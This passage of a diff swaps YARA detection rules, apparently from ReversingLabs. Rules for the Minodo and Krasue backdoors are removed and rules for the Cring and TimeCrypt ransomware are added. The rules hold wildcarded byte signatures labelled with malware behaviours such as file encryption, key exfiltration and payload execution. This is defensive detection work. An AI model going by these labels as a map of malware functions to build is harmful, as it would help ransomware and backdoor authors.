?? 59 89 D3 89 F9 89 + C2 53 E8 ?? ?? ?? ?? 58 8D B4 24 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 58 31 DB 43 53 57 E8 ?? ?? ?? ?? 59 + 5A 53 89 DF 50 E8 ?? ?? ?? ?? 59 5A 8D 5C 24 ?? 89 C2 89 D9 56 E8 ?? ?? ?? ?? 58 39 + 3B 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? + ?? F2 0F 11 44 24 ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 89 + 84 24 ?? ?? ?? ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 40 89 + 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? + ?? EB ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? + 8D BC 24 ?? ?? ?? ?? 57 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F1 E8 ?? + ?? ?? ?? 57 E8 ?? ?? ?? ?? 58 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A } - $cmd_expand_payload_p2 = { - 44 8B 66 ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? - ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? - ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 8B CD BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24 - ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 4C - 89 6C 24 ?? 4C 89 6C 24 ?? 45 33 C0 33 C9 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 66 44 89 AC 24 ?? ?? 00 00 44 89 6C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 - ?? EB ?? 90 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 4C 89 6C 24 ?? 48 8D 0D ?? ?? - ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CB - FF 15 ?? ?? ?? ?? 41 8B C4 4C 8B A4 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B BC - 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - 41 5D 5D 5B C3 + $drop_hta_file_p2 = { + 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 + 31 DB 43 53 56 E8 ?? ?? ?? ?? 59 5A 53 50 E8 ?? ?? ?? ?? 59 5A 8D 74 24 ?? 89 C2 89 + F1 57 E8 ?? ?? ?? ?? 58 39 1E 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D + 74 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + 89 54 24 ?? 40 89 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 + 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 44 24 ?? 89 44 24 ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 74 24 ?? 56 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? 89 D9 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 + 8D BC 24 ?? ?? ?? ?? 89 C3 89 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 F9 6A ?? E8 ?? ?? + ?? ?? 58 83 64 24 ?? ?? 83 64 24 ?? ?? 57 E8 ?? ?? ?? ?? 59 8D 4C 24 ?? 51 56 6A ?? + 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 53 E8 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( all of ( $handle_c2_commands_p* ) ) and ( all of ( $create_cab_file_and_upload_p* ) ) and ( all of ( $cmd_expand_payload_p* ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $drop_hta_file_p* ) ) } -rule REVERSINGLABS_Win32_Backdoor_Minodo : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cring : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Minodo backdoor." + description = "Yara rule that detects Cring ransomware." author = "ReversingLabs" - id = "0eeff863-1a46-5b25-8780-5cd887e3b1e2" - date = "2023-06-07" - modified = "2023-06-07" + id = "76530a6d-145b-5316-8200-4b191d0754fd" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Minodo.yara#L1-L110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara#L1-L66" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "807408699fe00c8d1170598050e533dd0d79bb170f2538b6b6227cda7410060b" + logic_hash = "05cf60ad39c9dcc592345f13b63c99b153b9253297a8ad9e52e0439081d8c796" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Minodo" + tc_detection_type = "Ransomware" + tc_detection_name = "Cring" tc_detection_factor = 5 importance = 25 strings: - $generate_system_id = { - 40 55 53 56 57 41 56 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B F1 48 8D 55 ?? 48 8D - 4D ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 DB 85 C0 75 ?? 66 C7 45 ?? ?? ?? 4C - 8D 45 ?? 48 8D 55 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 - ?? 66 C7 45 ?? ?? ?? 48 83 4D ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? 8B CB 48 8B D3 BE ?? ?? - ?? ?? 48 85 D2 7E ?? 44 8A 54 15 ?? EB ?? 44 8A 95 ?? ?? ?? ?? 41 8A 01 49 FF C1 48 - FF C2 32 44 15 ?? 41 32 C2 41 32 00 49 FF C0 88 44 15 ?? 41 38 19 75 ?? 83 C9 ?? 4C - 8D 4D ?? 41 38 18 75 ?? 83 C9 ?? 4C 8D 45 ?? 48 3B D6 75 ?? 83 C9 ?? 48 8B D3 83 F9 - ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 48 8D 5D ?? 49 8B FE 44 - 0F B6 03 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 83 C7 ?? 48 FF C3 48 FF CE 75 ?? - FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 8B D8 FF 15 ?? ?? ?? ?? 48 8D 55 - ?? 44 8B CB 4D 8B C6 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5E 5F 5E 5B - 5D C3 - } - $generate_encrypt_and_send_key = { - 48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 48 89 78 ?? 41 56 48 81 EC ?? ?? ?? ?? - 8B F2 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 40 ?? 48 8B 08 8B 09 - E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 45 33 C0 45 8D 70 ?? 41 8D 50 ?? 41 8B CE E8 - ?? ?? ?? ?? 48 8B D8 83 F8 ?? 74 ?? 41 8D 6E ?? 48 8D 44 24 ?? 8B CD C6 00 ?? 48 FF - C0 48 FF C9 75 ?? 0F B7 CE 66 44 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B CF 66 89 44 24 ?? - E8 ?? ?? ?? ?? 48 63 FB 48 8D 54 24 ?? 48 8B CF 44 8B C5 89 44 24 ?? E8 ?? ?? ?? ?? - 85 C0 74 ?? 48 8B CF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? BE ?? ?? ?? - ?? 48 8B CD 8B D6 E8 ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 33 C9 8A 44 29 ?? 48 FF C9 88 - 44 0C ?? 48 FF CE 75 ?? 8D 56 ?? 44 8D 46 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CF - 8B F0 85 C0 74 ?? 48 8D 54 24 ?? 45 33 C9 44 8B C0 E8 ?? ?? ?? ?? 3B C6 74 ?? 48 8B - CF E8 ?? ?? ?? ?? 33 DB 8B C3 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 6B ?? 49 8B - 73 ?? 49 8B 7B ?? 49 8B E3 41 5E C3 - } - $get_encrypt_and_send_system_info = { - 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? - 8B F1 48 8B CA 48 8B DA FF 15 ?? ?? ?? ?? C6 44 24 ?? ?? 48 63 F8 40 88 7C 24 ?? 4C - 8B C7 85 C0 74 ?? 48 8D 44 24 ?? 48 2B D8 48 8D 4C 24 ?? 49 FF C8 4A 8D 0C 01 8A 04 - 0B 88 01 75 ?? 83 C7 ?? 48 63 DF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? F6 D8 48 8D 45 ?? 1A - C9 80 E1 ?? 80 C9 ?? FF C7 88 4C 1C ?? 8B CA C6 00 ?? 48 FF C0 48 FF C9 75 ?? 48 8D - 4D ?? 89 55 ?? FF 15 ?? ?? ?? ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 63 - CF FF C7 BB ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 - 63 CF FF C7 4C 8D 85 ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 D7 88 44 14 ?? 8B 45 ?? - FF C7 48 63 D7 8D 4B ?? C6 44 24 ?? ?? 89 44 14 ?? 48 8D 54 24 ?? 83 C7 ?? 89 9D ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C0 8D 48 ?? 03 CF - 48 63 D1 48 83 FA ?? 76 ?? 44 8D 43 ?? 44 2B C7 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 - 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B - CA 48 FF C9 41 8A 04 09 88 01 48 FF CA 75 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 - 03 F8 C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? - ?? ?? 44 8B C0 8D 48 ?? 03 CF 48 63 D1 48 83 FA ?? 76 ?? 41 B8 ?? ?? ?? ?? 44 2B C7 - 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 - ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B CA 48 FF C9 42 8A 04 09 88 01 48 FF CA 75 ?? 4C - 8D 4C 24 ?? 48 8D 54 24 ?? 44 03 C7 8B CE E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 - 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 + $find_files_p1 = { + 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 19 2E ?? 08 6F ?? ?? ?? ?? + 18 33 ?? 08 6F ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 02 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 0D 2B ?? 09 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 6F + ?? ?? ?? ?? DC 07 17 58 0B 07 06 8E 69 32 ?? 2A } - $copy_payload_into_allocated_memory = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 56 57 41 56 48 83 EC ?? 49 8B D8 48 63 F2 48 8B F9 41 - C6 00 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 66 C7 03 ?? ?? B8 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8B D3 48 8B CF E8 ?? ?? ?? ?? - 8B E8 85 C0 74 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D6 33 C9 4C 8B F6 FF 15 - ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 66 C7 03 ?? ?? FF 15 ?? ?? ?? ?? 89 43 ?? 8D 46 - ?? EB ?? 4D 8B C6 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 83 64 24 ?? ?? - 4C 8D 04 2E 45 33 C9 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 8B 44 - 24 ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 48 83 C4 ?? 41 5E 5F 5E C3 + $find_files_p2 = { + 02 7B ?? ?? ?? ?? 0B 07 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 16 0A DD ?? + ?? ?? ?? 02 15 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? + ?? ?? 14 0C 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 2C + ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 2B ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? + 9A 0D 02 09 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 17 0A DD ?? ?? ?? ?? 02 15 7D ?? ?? ?? + ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 8E 69 + 32 ?? 02 14 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 14 0C 02 7B ?? ?? ?? ?? 28 + ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 39 ?? ?? ?? ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? + ?? 38 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 9A 13 ?? 02 11 ?? 02 7B ?? ?? ?? + ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 1F ?? 7D ?? ?? ?? + ?? 2B ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 7D ?? ?? ?? ?? 02 18 7D ?? ?? + ?? ?? 17 0A DE ?? 02 1F ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 28 + ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? + ?? ?? 02 7B ?? ?? ?? ?? 8E 69 3F ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 16 0A DE ?? 02 28 ?? + ?? ?? ?? DC 06 2A } - $execute_payload_from_temp = { - 40 53 48 81 EC ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C 8B D1 48 8D 44 24 ?? 41 8B D0 33 DB - 88 18 48 FF C0 48 FF CA 75 ?? 48 8D 44 24 ?? 8D 4A ?? 88 18 48 FF C0 48 FF C9 75 ?? - 48 8D 44 24 ?? 44 89 44 24 ?? 45 33 C9 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C0 48 89 - 44 24 ?? 48 89 5C 24 ?? 48 89 5C 24 ?? 49 8B D2 89 5C 24 ?? C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? 89 5C 24 ?? 66 89 9C 24 ?? ?? 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C - 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B0 ?? EB ?? 32 C0 48 81 C4 - ?? ?? ?? ?? 5B C3 + $encrypt_files = { + 16 0A 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 1E 5B 8D ?? ?? ?? ?? 0C 07 6F ?? ?? ?? ?? 1E + 5B 8D ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 08 6F ?? ?? ?? ?? 11 ?? 09 6F ?? ?? ?? + ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 8E 69 09 8E 69 58 8D ?? ?? ?? ?? 13 ?? + 08 11 ?? 08 8E 69 28 ?? ?? ?? ?? 09 16 11 ?? 08 8E 69 09 8E 69 28 ?? ?? ?? ?? 11 ?? 04 + 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 13 ?? 07 08 09 6F ?? ?? ?? ?? 13 ?? 02 + 19 73 ?? ?? ?? ?? 13 ?? 03 18 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 13 ?? + 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 + ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? + 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F + ?? ?? ?? ?? DC 17 0A DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2A } condition: - uint16( 0 ) == 0x5A4D and ( $generate_system_id ) and ( $generate_encrypt_and_send_key ) and ( $get_encrypt_and_send_system_info ) and ( $copy_payload_into_allocated_memory ) and ( $execute_payload_from_temp ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } -rule REVERSINGLABS_Linux_Backdoor_Krasue : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timecrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Krasue backdoor." + description = "Yara rule that detects TimeCrypt ransomware." author = "ReversingLabs" - id = "3187eebf-ef70-585f-85cf-5813025c785e" - date = "2024-03-04" - modified = "2024-03-04" + id = "38a0c383-8be6-5258-aa93-0cf09b18e5f7" + date = "2021-12-06" + modified = "2021-12-06" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Krasue.yara#L1-L127" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara#L1-L69" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e2daa35ef9e0793062c9fb3bd8e4838e1e81ee3d228d8117b1c3b0e72eb8e151" + logic_hash = "6849d6d5010d7bcb4052c10d5bd7cc29320ffc986f36289b272a1e9a8d14fab9" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Krasue" + tc_detection_type = "Ransomware" + tc_detection_name = "TimeCrypt" tc_detection_factor = 5 importance = 25 strings: - $switch_server = { - 8B 05 ?? ?? ?? ?? FF C0 3B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 7C ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? 48 63 05 ?? ?? ?? ?? 85 C0 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B - 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? - ?? 89 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 66 89 15 ?? ?? 23 00 48 8B 04 C5 ?? ?? ?? ?? - 66 C7 05 ?? ?? 23 00 ?? ?? 8B 10 89 15 ?? ?? ?? ?? 66 8B 40 ?? 66 89 05 ?? ?? 23 00 - C3 - } - $get_hostname = { - 41 55 41 54 31 F6 55 53 31 C0 BF ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 - C0 0F 88 ?? ?? ?? ?? 48 89 E6 89 C7 89 C3 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 45 31 C9 31 - FF 41 89 D8 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 89 EC 48 63 ED 48 89 EE E8 ?? ?? ?? ?? - BE ?? ?? ?? ?? 48 89 C7 49 89 C5 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 48 63 D0 49 8D 74 15 - ?? 8D 50 ?? 48 63 D2 44 39 E2 41 89 D0 7D ?? 48 FF C2 41 80 7C 15 ?? ?? 75 ?? 44 89 - C1 41 FF C8 BA ?? ?? ?? ?? 29 C1 4D 63 C0 48 89 D7 83 E9 ?? 48 63 C9 F3 A4 41 C6 80 - ?? ?? ?? ?? ?? 4C 89 EF 48 89 EE E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ?? - ?? ?? 5B 5D 41 5C 41 5D C3 - } - $start_server_p1 = { - 41 57 41 56 31 D2 41 55 41 54 BE ?? ?? ?? ?? 55 53 89 FB BF ?? ?? ?? ?? 48 81 EC ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 05 ?? ?? ?? ?? 79 ?? 83 CF ?? E9 ?? ?? ?? ?? 48 8D - 4C 24 ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C7 C7 44 24 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 48 89 D7 F3 AB 31 FF 66 C7 05 - ?? ?? 23 00 ?? ?? E8 ?? ?? ?? ?? 0F B7 FB 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? - ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 66 89 05 ?? ?? 23 00 E8 ?? ?? ?? ?? 85 C0 78 - ?? 4C 8D A4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D 74 24 ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 31 C9 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? - ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 48 89 C3 0F 88 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? - ?? 4C 89 E7 83 FB ?? F3 AB 7E ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? - ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 8D 08 31 C9 BA - ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? BE ?? ?? ?? ?? 4C 89 - E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 05 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 DA BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 89 - C2 8A 06 89 F5 44 29 E5 3C ?? 75 ?? 80 7E ?? ?? 75 ?? 48 83 C6 ?? EB ?? 3C ?? 75 ?? - 80 7E ?? ?? 75 ?? 41 B8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 C7 4C 8B 05 ?? ?? ?? - ?? F3 AB 8B 7E ?? 66 8B 4E ?? 4C 89 06 C6 06 ?? 45 31 C0 C6 46 ?? ?? BE - } - $start_server_p2 = { - 66 C7 05 ?? ?? 23 00 ?? ?? 89 3D ?? ?? ?? ?? 66 89 0D ?? ?? 23 00 89 3D ?? ?? ?? ?? - 66 89 0D ?? ?? 23 00 48 89 F7 B9 ?? ?? ?? ?? 4C 89 E6 F3 AB E9 ?? ?? ?? ?? 85 ED 75 - ?? 48 63 DD BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 01 E3 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 - ?? 48 8D 7B ?? E8 ?? ?? ?? ?? 6B C0 ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 EF 99 F7 - F9 31 C0 E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 48 8D 54 24 ?? 48 98 85 C0 78 ?? 49 8B 0C 04 - 48 83 C2 ?? 48 83 E8 ?? 48 89 4A ?? C6 42 ?? ?? C6 42 ?? ?? EB ?? BA ?? ?? ?? ?? BE - ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? 89 E9 4C 89 F6 - 89 2D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? - 48 89 C7 F3 A4 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 - AE 48 89 C8 48 F7 D0 48 8D 50 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 - DF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 44 - 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 4C 24 ?? 44 89 4C 24 ?? E8 ?? ?? ?? ?? 48 83 - EC ?? 41 89 C0 BA ?? ?? ?? ?? 8B 4C 24 ?? 4C 89 EF BE ?? ?? ?? ?? 31 C0 51 8B 0D ?? - ?? ?? ?? 41 57 53 44 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 AE 48 - 83 C4 ?? 48 89 C8 48 F7 D0 48 8D 50 ?? 41 89 E8 4C 89 F1 4C 89 EE 8B 3D ?? ?? ?? ?? - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 + 